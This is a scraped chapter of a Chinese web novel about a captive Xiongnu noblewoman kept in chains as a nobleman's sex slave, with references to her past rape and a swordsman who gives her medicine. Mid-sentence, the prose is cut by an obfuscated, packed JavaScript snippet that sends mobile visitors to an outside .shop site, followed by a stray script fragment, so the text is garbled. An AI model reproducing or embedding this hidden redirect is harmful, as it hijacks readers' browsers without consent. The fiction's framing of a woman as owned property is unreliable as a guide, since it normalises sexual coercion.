24.药瓶
    马车上。

    呼衍容吉正坐在他的身上,前倾着。腰后愈发酸痛,肌肉不堪重负,开始颤抖,女人这才敢红着一张脸低头看 他,才敢开口问,自己能不能停。

    也许真如酒兴言所说,梁彦好是相火太旺的那种男人,对女色来者不拒。所以他见了,只轻笑着喘气,仰头迎着女奴哀求的眼神,毫不客气地摇了摇头。

    “你知道才过去多久么?一个半时辰。还不到饭点,总得把活儿干完才能讨饭吃。”他看起来面容和善,但对奴仆从来是赏罚分明,“我还差些,不够。”

    男人说完,拉着女奴的手,放在了自己的喉咙上,那里喉结上下滑动,还在不满足地吞咽。她摸得清清楚楚。

    平心而论,梁彦好绝对不是难说话的那种主人,他对呼衍容吉尤为宽宥,甚至比往日对他府上的那些鲜花里长出来的女人还要好。只要能让他开心,想要什么都行,指中哪个就能得到哪个。

    所以尽管没有选择地成为了他的奴隶,呼衍容吉一点也不讨厌他。

    “啊——”女人呼衍容吉学不会一点他们嘴里说的话,便将自己伪装成哑巴,用这样简单的音节表达自己的想法。于是垂着脑袋,摇头,又笑,又蹙眉,反拉过他的手放到自己身上。没差。对方手指触及的地方,正是腰后。那处的肌肉已经完全紧绷。

    梁彦好能摸出来。这是最近女人摸索出来的新方法,能叫自己的想法准确无误地传达过去。再加上他们之间的沟通向来无声,一个眼神、一个动作,心领神会。他揉了揉那块僵硬的腰肌,认可了,靠在那个他最喜欢的玉枕上爽朗地笑了几声,应言,“行,晚上再继续,下来吧。”

    如此才能放过她。

    也许有人会问,他既然这样重女色,为什么不像那些真正饥渴的男人那般,主动问她索取,而是无所谓、毫不在意地当起了享受的那方。这不是很奇怪么。笑。那是因为问问题的人从来没有体会过,掌握一个人生杀大权的感觉是什么样子的,从来没有亲眼见过别人匍匐在自己面前,虔诚地交上性命的场景。

    梁彦好长这么大,从来没在意过自己身边的女人到底是谁,叫什么姓名,从哪家出来,为什么会被安排在他身边。他不在乎。今日一个呼衍容吉死了,和昨日府上养的一条狗死了,没有任何差别。他不会在意一条狗的生死,自然也不会在意呼衍容吉的喜恶,除非这女人不想跟他了,想被他从车上丢出去,想被他无情地舍弃在路边。

    否则他们之间就一直是这样的。

    呼衍容吉腿脚都软了,脱力,早上起来都没怎么吃过饭。因为梁彦好嫌弃那家饭做得太难吃,所以饿着肚子上路。这会儿歪着身子斜躺在马车的角落里,蜷缩着,轻慢地喘气,连衣服都懒得穿。索性他的马车没人敢来,半天过去,一个扫兴的都没有。酒兴言只在两人完事儿后把把脉,看看还能造多少回,不够了他去镇子上抓两副药来,肯定叫梁彦好玩得开心。关逸则被梁彦好下了死命令,呼衍容吉没穿衣服之前不许插手帮忙,哪怕就是蹲屋顶看着,也得老老实实待着,不准动。

    所以这会儿车马里安静着,只有她呼吸的声音。

    “呼——”呼衍容吉的眼睛半闭着,看起来与世无争,也要左脸上那个才刺上去每半年的刺字没那么吓人了。她格外享受事后的片刻安宁,她格外享受不需要努力融入汉人世界的这小段的光阴。便情不自禁地吐出更为亲切的母语,“Ээжээ, бичамайгсанажбайна.”(妈妈,我想你了)

    故事也终于走到了,可以向你们介绍她的时候了。

    呼衍容吉,这是她的本名,呼衍为姓,容吉为名。呼衍氏乃匈奴四大家族之首,统管今新/疆省阿泰勒-吉木乃-塔城等区域,是匈奴王庭几百年来不折不扣的大家族。

    然而在五年前的那场内乱中,呼衍容吉的长兄所在部队大败须卜氏,那时他们还未来得及将战败的信息传达出去,长兄部落里的男人们便都被屠杀殆尽。

    她是妇孺,侥幸活了下来。但因出身高贵,被须卜氏的首领们重点关注。说点残忍的,她曾被凌辱超过两年,期间多次受孕又多次流产,几乎是满身疮痍。再说点幸运的,她忍耐了这么久,终于找到了机会逃出来,被沙漠中路过的汉商捉住,跟着回了司隶校尉部,成了梁彦好的女人。

    所以比起到底是不是一个人的狗,她只在意,当谁的狗能活得更舒畅些,能活得更久些。她还想回去见她的父亲母亲,她还想把长兄的遗愿传达给王座,她还想揭发须卜氏的阴谋。

    呼衍容吉把身上的使命又回想了一遍,重重地吸了两口气,眼神从情爱里那番谄媚的,变回像猎犬一般凶狠、肃杀的。她是一只生长于草原的鹰,我敢说,除了死亡,没有什么东西能磨灭她的意志。

    正是她扶着车准备坐起来的时候,马车动了。是关逸吃过了饭帮他们清理“床铺”来了。这种事往日该由司徒府的侍女们来干,可上了路之后,一切都得要关逸来。他在那三人里地位最低,什么事情都要亲力亲为。再加上,梁彦好没给呼衍容吉手脚、脖子上的狗链取下来,她的行动完全受限,就是穿衣服,也只能求个蔽体。

    关逸比梁彦好要礼貌很多,他进来时一定会敲几下门框,并且听到她的回应才会揭开那道帘子走进来。

    “今日很累么?他让我来看看你。”剑客把手中的剑随手放在门口的座椅上,关切地低头钻进来找她。

    呼衍容吉听不懂,她对听不懂的话一律以摇头应之,同时靠坐在马车的角落里,抓紧了梁彦好专门给她买的那床被子。她不喜欢和男人共处一室,有些事情刻进了骨髓里忘不掉,所以尽管能感觉到剑客是关心自己的,但每

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12575025|124247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    次都只能回应他一个尴尬的笑容。

    都是成年人,既然打开天窗说亮话,也没什么好羞涩的。关逸每次像个老妈子一样管他们起居时,都会被满车厢的味道熏得皱起眉头,然后在她面前帮她数落梁彦好的不是,正像眼下发生的这般,“我真服了,这家伙的四书到底跟谁学的。学不会四书,五经看两眼也行啊,这礼学第一句‘傲不可长,欲不可从,志不可满,乐不可极。’就做不到一点。真是坏我们汉家的声誉。”

    (《礼》篇一《曲礼上》:傲不可长,欲不可从,志不可满,乐不可极。)

    关逸要比梁彦好长上十几岁,如今约有三十八九,每次见他在外霍霍钱财,或者管不住下身乱玩的时候,都是那副恨铁不成钢的样子。呼衍容吉认得那神情,每次一见那表情就知道剑客在说他的坏话。

    “噗嗤。”她抱着被子笑,觉得汉人真有意思。类似的情形若是发生在她们王帐里,下面跪着的臣子是不能说一句反话的,否则就是杀头伺候。

    “你也是,你干嘛老是纵容他,老酒每次都和我说,你身子不好,给人糟蹋坏了,要养,要休息,还得去找些名贵药材回来才行,你却一点也不在乎。”关逸边说,边从口袋里掏出几颗他路过药店时顺手给她买的一些补身体的药丸,要她等会儿趁饭一起吃了。他也知道女人听不懂他们说话,所以还刻意给她比划。

    剑客捏起一颗药丸,往嘴边一放,接着仰头,作势要吞咽,而后又比了二,告诉她一日吃两回。最后再拍了拍胸脯,意思是,药吃完了没了,问他关逸要。

    这好来得让她不知所措。

    她接受也不是,不接受也不是。梁彦好不喜欢关逸对自己太好,他很嫉妒,他嫉妒其他一切男人的靠近,毕竟自己是他的所属物,被贴上了标签。可剑客手上的药香让她心动,她知道汉人有超绝的医术,她知道自己的身体需要医治。

    所以她脸上的玩笑顿时变成了伤感与渴望并存的期望,盯着剑客的手心,莫名红了眼睛。

    “你拿去,我肯定不和他说。”关逸见她想要,心里欢喜,想着这般也不枉费他想要仗剑天涯、行侠仗义的一片初心,于是大方地凑上来,一把抓住了她的手,把小药瓶塞进她的手里,“一定要吃,按时吃,不够了问我要。”

    呼衍容吉攥紧了手,莫名从眼角掉出两颗泪来,重重地点头答应。也不知道该怎么答谢他,作势便要宽衣解带。

    关逸看见了,吓得“诶诶诶!”一连说了好几声,比她还保守的直接用那张被子把她从头裹到脚,拒绝,“我要是碰你,那公子哥一准杀了我。我还想多走几年江湖,姑娘你放过我吧。”

    她懂了,点头,抹干净眼泪,把药瓶收进自己的贴身衣物里,而后仍由关逸以需要清扫车厢为由,把她打横抱起,直接送进了他们定的二楼最奢华的厢房。